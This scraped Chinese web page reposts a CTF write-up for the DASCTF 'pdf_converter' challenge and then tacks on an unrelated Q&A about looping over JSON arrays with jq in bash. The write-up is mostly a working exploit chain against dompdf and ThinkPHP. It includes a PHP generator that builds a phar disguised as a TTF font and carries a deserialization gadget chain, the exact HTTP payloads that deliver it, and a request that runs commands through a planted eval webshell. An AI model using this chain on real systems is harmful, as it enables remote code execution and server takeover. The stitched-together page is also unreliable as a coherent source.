web: pdf_converter | DASCTF Apr.2023 X SU战队2023开局之战
Posted Nstar
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了web: pdf_converter | DASCTF Apr.2023 X SU战队2023开局之战相关的知识,希望对你有一定的参考价值。
原文链接:https://www.cnblogs.com/Nestar/p/17358862.html
题目内容
这道题是给源码的,是个 thinkphp 项目,可以直接看看控制器
就一个 pdf 方法,用了 dompdf 库,然后把用户传入的 content 写到 pdf 中。
既然这么明显,那就搜索 dompdf 漏洞
知识点
首先看到:https://ghostasky.github.io/2022/03/19/dompdf/
首先看到这里说,如果传入自定义的 css ,那么dompdf 会去加载自定义的 tty 字体文件
@font-face
font-family:\'exploitfont\';
src:url(\'http://localhost:9001/xxxx.ttf\');
font-weight:\'normal\';
font-style:\'normal\';
然后系统会重命名 tty 文件,类似为exploitfont_normal_d249c21fbbb1302ab53282354d462d9e.ttf
格式是 font-family_font-style_md5(src:url)
然后系统会把这个文件保存到 dompdf/dompdf/lib/fonts/font-family_font-style_md5(src:url).tty
然后这里就涉及到了,dompdf 的好几个漏洞了,其中一个是,如果你指定下载 xxx.php 文件,最终保存的也是 xxx_xxx_xxx.php 文件,那么这就是一个 shell 写入漏洞了。
但是我们这里题目考的是 thinkphp 框架,我们只能访问 public 目录!
然后看了别的大佬的 WP,发现这里还设计到一个 phar 反序列化的漏洞,我们可以第一次指定一个 phar 文件,这样这个 pahr 文件会被写入到系统里,然后第二次我们指定 phar://file_to_phar_name
这样就可以触发 phar 反序列化了。
上手试试
这里需要参考大佬的文章:https://buaq.net/go-129526.html
<?php
namespace think\\cache\\driver;
class File
protected $options = [];
protected $tag;
public function __construct()
$this->options[\'path\'] = \'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9HRVRbc3NzXSk7Pz4=/../public/2.php\'; # 这里确定写入的文件内容 PD9waHAgQGV2YWwoJF9HRVRbc3NzXSk7Pz4= base64 解码即可。
$this->options[\'cache_subdir\'] = false;
$this->options[\'prefix\'] = false;
$this->options[\'data_compress\'] = false;
$this->tag = 111;
namespace think\\session\\driver;
use think\\cache\\driver\\File;
class Memcached
protected $handler = null;
public function __construct()
$this->handler = new File();
namespace think\\console;
use think\\session\\driver\\Memcached;
class Output
protected $styles = [];
private $handle = null;
public function __construct()
$this->styles = ["getAttr"];
$this->handle = new Memcached();
namespace think\\db;
use think\\console\\Output;
class Query
protected $model;
public function __construct()
$this->model = new Output();
namespace think\\model;
abstract class Relation
namespace think\\model\\relation;
use think\\model\\Relation;
abstract class OneToOne extends Relation
namespace think\\model\\relation;
use think\\db\\Query;
class HasOne
protected $query;
protected $selfRelation;
protected $bindAttr = [];
public function __construct()
$this->query = new Query();
$this->selfRelation = false;
$this->bindAttr = ["key无所谓" => "some string"]; // value 是半可控,不能出现 attr !
namespace think;
abstract class Model
namespace think\\model;
use think\\console\\Output;
use think\\Model;
use think\\model\\relation\\HasOne;
class Pivot extends Model
protected $error;
protected $append = [];
public $parent;
public function __construct()
$this->append = [\'key\' => \'getError\'];
$this->error = new HasOne();
$this->parent = new Output();
namespace think\\process\\pipes;
abstract class Pipes
namespace think\\process\\pipes;
use think\\model\\Pivot;
class Windows extends Pipes
private $files = [];
public function __construct()
$this->files = [new Pivot()];
# 内含 phpinfo();
$tty_file_bate64 = "AAEAAAAKAO+/vQADACBkdW0xAAAAAAAAAO+/vQAAAAJjbWFwAAwAYAAAAO+/vQAAACxnbHlmNXNj77+9AAAA77+9AAAAFGhlYWQH77+9UTYAAADvv70AAAA2aGhlYQDvv70D77+9AAABKAAAACRobXR4BEQACgAAAUwAAAAIbG9jYQAKAAAAAAFUAAAABm1heHAABAADAAABXAAAACBuYW1lAEQQ77+9AAABfAAAADhkdW0yAAAAAAAAAe+/vQAAAAIAAAAAAAAAAQADAAEAAAAMAAQAIAAAAAQABAABAAAALe+/ve+/vQAAAC3vv73vv73vv73vv70AAQAAAAAAAQAKAAAAOgA4AAIAADMjNTowOAABAAAAAQAAF++/ve+/vRZfDzzvv70ACwBAAAAAAO+/vRU4BgAAAADvv70m270ACgAAADoAOAAAAAYAAQAAAAAAAAABAAAATO+/ve+/vQASBAAACgAKADoAAQAAAAAAAAAAAAAAAAAAAAIEAAAAAEQACgAAAAAACgAAAAEAAAACAAMAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEADYAAwABBAkAAQACAAAAAwABBAkAAgACAAAAAwABBAkAAwACAAAAAwABBAkABAACAAAAcwAAAAAKPD9waHAgcGhwaW5mbygpOyA/Pg==";
$win = new Windows();
@unlink("exp_dompdf.phar");
$phar = new \\Phar("exp_dompdf.phar");
$phar->stopBuffering();
$phar->setStub(base64_decode($tty_file_bate64).\'<?php __HALT_COMPILER(); ?>\');
$phar->setMetadata($win);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
$exp_base = base64_encode(file_get_contents("exp_dompdf.phar"));
$url_encode_exp_base = urlencode(urlencode($exp_base));
# 第一步
$style_str = <<<EOF
content=<style> @font-face font-family:\'exploit\'; src:url(\'data:text/plain;base64,$url_encode_exp_base\'); font-weight:\'normal\'; font-style:\'normal\'; </style>
EOF;
echo "第一步,传入 phar 文件:\\n".$style_str;
# 第二步
$path = "data:text/plain;base64,".$exp_base;
$md5_str = md5($path);
$phar_file_path = "phar:///var/www/html/vendor/dompdf/dompdf/lib/fonts/exploit_normal_$md5_str.ttf##";
$style_str = <<<EOF
content=<style> @font-face font-family:\'exploit\'; src:url(\'$phar_file_path\'); font-weight:\'normal\'; font-style:\'normal\'; </style>
EOF;
echo "\\n第二步,执行 phar 文件:\\n".$style_str;
##### 然后我发现这 md5 咋跟 dompdf 系统算出来的不一样呢?????
代码的上半部分是 thinkphp 的任意文件写入反序列化的代码:详见:https://www.yuque.com/sanqiushu-dsz56/efe3vx/knbaoms65g3m1dpq
下半部分是 phar 文件和 payload 的生成
然后就是算 MD5 的哪里,就是算不对,真实服了啊
没办法只能本地的 dompdf 运行一下看看 md5 是啥了
我这里直接给出三次请求的内容吧
request 1:
content=<style> @font-face font-family:\'exploit\'; src:url(\'data:text/plain;base64,AAEAAAAKAO%252B%252FvQADACBkdW0xAAAAAAAAAO%252B%252FvQAAAAJjbWFwAAwAYAAAAO%252B%252FvQAAACxnbHlmNXNj77%252B9AAAA77%252B9AAAAFGhlYWQH77%252B9UTYAAADvv70AAAA2aGhlYQDvv70D77%252B9AAABKAAAACRobXR4BEQACgAAAUwAAAAIbG9jYQAKAAAAAAFUAAAABm1heHAABAADAAABXAAAACBuYW1lAEQQ77%252B9AAABfAAAADhkdW0yAAAAAAAAAe%252B%252FvQAAAAIAAAAAAAAAAQADAAEAAAAMAAQAIAAAAAQABAABAAAALe%252B%252Fve%252B%252FvQAAAC3vv73vv73vv73vv70AAQAAAAAAAQAKAAAAOgA4AAIAADMjNTowOAABAAAAAQAAF%252B%252B%252Fve%252B%252FvRZfDzzvv70ACwBAAAAAAO%252B%252FvRU4BgAAAADvv70m270ACgAAADoAOAAAAAYAAQAAAAAAAAABAAAATO%252B%252Fve%252B%252FvQASBAAACgAKADoAAQAAAAAAAAAAAAAAAAAAAAIEAAAAAEQACgAAAAAACgAAAAEAAAACAAMAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEADYAAwABBAkAAQACAAAAAwABBAkAAgACAAAAAwABBAkAAwACAAAAAwABBAkABAACAAAAcwAAAAAKPD9waHAgcGhwaW5mbygpOyA%252FPjw%252FcGhwIF9fSEFMVF9DT01QSUxFUigpOyA%252FPg0KRQUAAAEAAAARAAAAAQAAAAAADwUAAE86Mjc6InRoaW5rXHByb2Nlc3NccGlwZXNcV2luZG93cyI6MTp7czozNDoiAHRoaW5rXHByb2Nlc3NccGlwZXNcV2luZG93cwBmaWxlcyI7YToxOntpOjA7TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjM6e3M6ODoiACoAZXJyb3IiO086Mjc6InRoaW5rXG1vZGVsXHJlbGF0aW9uXEhhc09uZSI6Mzp7czo4OiIAKgBxdWVyeSI7TzoxNDoidGhpbmtcZGJcUXVlcnkiOjE6e3M6ODoiACoAbW9kZWwiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjk6IgAqAHN0eWxlcyI7YToxOntpOjA7czo3OiJnZXRBdHRyIjt9czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzozMDoidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGVkIjoxOntzOjEwOiIAKgBoYW5kbGVyIjtPOjIzOiJ0aGlua1xjYWNoZVxkcml2ZXJcRmlsZSI6Mjp7czoxMDoiACoAb3B0aW9ucyI7YTo0OntzOjQ6InBhdGgiO3M6MTI1OiJwaHA6Ly9maWx0ZXIvY29udmVydC5pY29udi51dGYtOC51dGYtN3xjb252ZXJ0LmJhc2U2NC1kZWNvZGUvcmVzb3VyY2U9YWFhUEQ5d2FIQWdRR1YyWVd3b0pGOUhSVlJiYzNOelhTazdQejQ9Ly4uL3B1YmxpYy8yLnBocCI7czoxMjoiY2FjaGVfc3ViZGlyIjtiOjA7czo2OiJwcmVmaXgiO2I6MDtzOjEzOiJkYXRhX2NvbXByZXNzIjtiOjA7fXM6NjoiACoAdGFnIjtpOjExMTt9fX19czoxNToiACoAc2VsZlJlbGF0aW9uIjtiOjA7czoxMToiACoAYmluZEF0dHIiO2E6MTp7czoxMjoia2V55peg5omA6LCTIjtzOjExOiJzb21lIHN0cmluZyI7fX1zOjk6IgAqAGFwcGVuZCI7YToxOntzOjM6ImtleSI7czo4OiJnZXRFcnJvciI7fXM6NjoicGFyZW50IjtPOjIwOiJ0aGlua1xjb25zb2xlXE91dHB1dCI6Mjp7czo5OiIAKgBzdHlsZXMiO2E6MTp7aTowO3M6NzoiZ2V0QXR0ciI7fXM6Mjg6IgB0aGlua1xjb25zb2xlXE91dHB1dABoYW5kbGUiO086MzA6InRoaW5rXHNlc3Npb25cZHJpdmVyXE1lbWNhY2hlZCI6MTp7czoxMDoiACoAaGFuZGxlciI7TzoyMzoidGhpbmtcY2FjaGVcZHJpdmVyXEZpbGUiOjI6e3M6MTA6IgAqAG9wdGlvbnMiO2E6NDp7czo0OiJwYXRoIjtzOjEyNToicGhwOi8vZmlsdGVyL2NvbnZlcnQuaWNvbnYudXRmLTgudXRmLTd8Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPWFhYVBEOXdhSEFnUUdWMllXd29KRjlIUlZSYmMzTnpYU2s3UHo0PS8uLi9wdWJsaWMvMi5waHAiO3M6MTI6ImNhY2hlX3N1YmRpciI7YjowO3M6NjoicHJlZml4IjtiOjA7czoxMzoiZGF0YV9jb21wcmVzcyI7YjowO31zOjY6IgAqAHRhZyI7aToxMTE7fX19fX19CAAAAHRlc3QudHh0BAAAAMMVSmQEAAAADH5%252F2KQBAAAAAAAAdGVzdFsaHYAFdtOEpCq1Wjk9ct1aCG2dro9W7jnzV%252FbzvkuZAwAAAEdCTUI%253D\'); font-weight:\'normal\'; font-style:\'normal\'; </style>
requests2:
content=<style> @font-face font-family:\'exploit\'; src:url(\'phar:///var/www/html/vendor/dompdf/dompdf/lib/fonts/exploit_normal_ae0d25af97028f23b0a1a340f874fa6c.ttf##\'); font-weight:\'normal\'; font-style:\'normal\'; </style>
request 3:
http://localhost:13001/2.php3c5f86b5f2ff9d35f0239a655650272a.php?sss=system(\'ls\');
这里的 webshell 密钥是代码哪里写入的 shell 里的
写入的 webshell 的位置也是代码中确定的,以前我写的是 /../2.php
导致会跳到根目录就访问不到了。
获取 flag
在 Shell 脚本中遍历 JSON 数组
【中文标题】在 Shell 脚本中遍历 JSON 数组【英文标题】:Iterating through JSON array in Shell script 【发布时间】:2016-03-01 06:07:27 【问题描述】:我在 data.json 文件中有如下 JSON 数据
[
"original_name":"pdf_convert","changed_name":"pdf_convert_1",
"original_name":"video_encode","changed_name":"video_encode_1",
"original_name":"video_transcode","changed_name":"video_transcode_1"
]
我想遍历数组并提取循环中每个元素的值。我看到了jq。我发现很难用它来迭代。我该怎么做?
【问题讨论】:
看起来jq
有一个foreach
命令,你试过吗?
老实说,我认为您会对简单的 Python 脚本更加满意。你甚至可以使用 heredoc 语法将它嵌入到你的 shell 脚本中。
你能举一个将python嵌入到shell脚本中的例子吗?
【参考方案1】:
尝试围绕这个示例构建它。 (来源:原站)
例子:
jq '[foreach .[] as $item ([[],[]]; if $item == null then [[],.[0]] else [(.[0] + [$item]),[]] end; if $item == null then .[1] else empty end)]'
Input [1,2,3,4,null,"a","b",null]
Output [[1,2,3,4],["a","b"]]
【讨论】:
最初的问题含糊不清,但我认为foreach
对于用户想要的东西根本没有必要。【参考方案2】:
只需使用会返回数组中每个项目的过滤器。然后循环遍历结果,只需确保使用紧凑输出选项 (-c
),以便将每个结果放在一行中并作为循环中的一项处理。
jq -c '.[]' input.json | while read i; do
# do stuff with $i
done
【讨论】:
Afor
循环遍历以空格分隔的单词,而不是行。
是的,你是对的,但在这种特定情况下,它本来可以,因为任何对象中都没有空格。但是思路还是一样,循环机制可能是错误的选择。
jq 输出流,因此您不会逐行或逐项进行。
如果您的输出包含空格,您需要将 IFS 设置为换行符,例如使用 Bash IFS=$'\n'
。
为我工作(Mac 上的 Big Sur)。这是我到目前为止得到的:echo "$res" | jq -c -r '.[]' | while read item; do val=$(jq -r '.value' <<< "$item") echo "Value: $val" done
【参考方案3】:
此线程中较早的答案建议使用 jq 的foreach
,但这可能比需要的复杂得多,尤其是考虑到所述任务。具体来说,foreach
(和reduce
)适用于需要累积结果的某些情况。
在许多情况下(包括某些最终需要减少步骤的情况),最好使用.[]
或map(_)
。后者只是 [.[] | 的另一种写法。 _] 所以如果你打算使用 jq,理解 .[] 只是创建一个 stream 值真的很有用。
例如,[1,2,3] | .[]
生成三个值的流。
举一个简单的 map-reduce 例子,假设你想找到一个字符串数组的最大长度。一种解决方案是[ .[] | length] | max
。
【讨论】:
【参考方案4】:jq
有一个 shell 格式化选项:@sh
。
您可以使用以下内容将您的 json 数据格式化为 shell 参数:
cat data.json | jq '. | map([.original_name, .changed_name])' | jq @sh
输出将如下所示:
"'pdf_convert' 'pdf_convert_1'"
"'video_encode' 'video_encode_1'",
"'video_transcode' 'video_transcode_1'"
要处理每一行,我们需要做几件事:
将 bash for 循环设置为读取整行,而不是在第一个空格处停止(默认行为)。 去掉每一行的封闭双引号,这样每个值都可以作为参数传递给处理每一行的函数。要在 bash for 循环的每次迭代中读取整行,请设置 IFS
变量,如 this answer 中所述。
为了去掉双引号,我们将使用 xargs
通过 bash shell 解释器运行它:
stripped=$(echo $original | xargs echo)
综上所述,我们有:
#!/bin/bash
function processRow()
original_name=$1
changed_name=$2
# TODO
IFS=$'\n' # Each iteration of the for loop should read until we find an end-of-line
for row in $(cat data.json | jq '. | map([.original_name, .changed_name])' | jq @sh)
do
# Run the row through the shell interpreter to remove enclosing double-quotes
stripped=$(echo $row | xargs echo)
# Call our function to process the row
# eval must be used to interpret the spaces in $stripped as separating arguments
eval processRow $stripped
done
unset IFS # Return IFS to its original value
【讨论】:
您可以使用--raw-output
或-r
标志来排除封闭的双引号,而不必“剥离封闭的双引号”,将jq @sh
替换为jq -r @sh
您(目前)不需要通过第二个 jq 的 shell 管道;只需在 jq 管道中附加 | @sh
就可以了。如jq -r '. | map(blah) | @sh'
【参考方案5】:
通过利用 Bash 数组的强大功能,您可以执行以下操作:
# read each item in the JSON array to an item in the Bash array
readarray -t my_array < <(jq -c '.[]' input.json)
# iterate through the Bash array
for item in "$my_array[@]"; do
original_name=$(jq '.original_name' <<< "$item")
changed_name=$(jq '.changed_name' <<< "$item")
# do your stuff
done
【讨论】:
“Bash 数组的力量!⚡️” - 人太多了。 macOS 用户请注意 - 由于 Apple 由于许可而坚持使用旧版本的 bash(当前为 v3.2.57),因此这将无法“开箱即用”。您可以使用自制软件获取最新版本。您需要将较新的版本设置为默认 shell,或者将脚本设置为通过 shebang 显式使用它 很高兴知道!这一定是 macOS 如此切换到 ZSH 的原因。 如果从变量中读取:readarray -t my_array < <(jq -c '.[]' <<< $input_json)
这只是开箱即用的解决方案。所有其他都是需要认真纠正才能工作的概念!【参考方案6】:
来自Iterate over json array of dates in bash (has whitespace)
items=$(echo "$JSON_Content" | jq -c -r '.[]')
for item in $items[@]; do
echo $item
# whatever you are trying to do ...
done
【讨论】:
为什么echo $items[1]
不显示结果?
对我不起作用(Mac Big Sur)。具有多个项目的列表只有一次循环迭代。不过,@JeffMercado 的回答确实有效。【参考方案7】:
这是我到目前为止所做的
arr=$(echo "$array" | jq -c -r '.[]')
for item in $arr[@]; do
original_name=$(echo $item | jq -r '.original_name')
changed_name=$(echo $item | jq -r '.changed_name')
echo $original_name $changed_name
done
【讨论】:
当访问一个key的值时,而不是uisng. original_name
不带引号,应该是original_name =$(echo $item | jq -r '.original_name')
吗?还有,为什么=
前面有个空格?以上是关于web: pdf_converter | DASCTF Apr.2023 X SU战队2023开局之战的主要内容,如果未能解决你的问题,请参考以下文章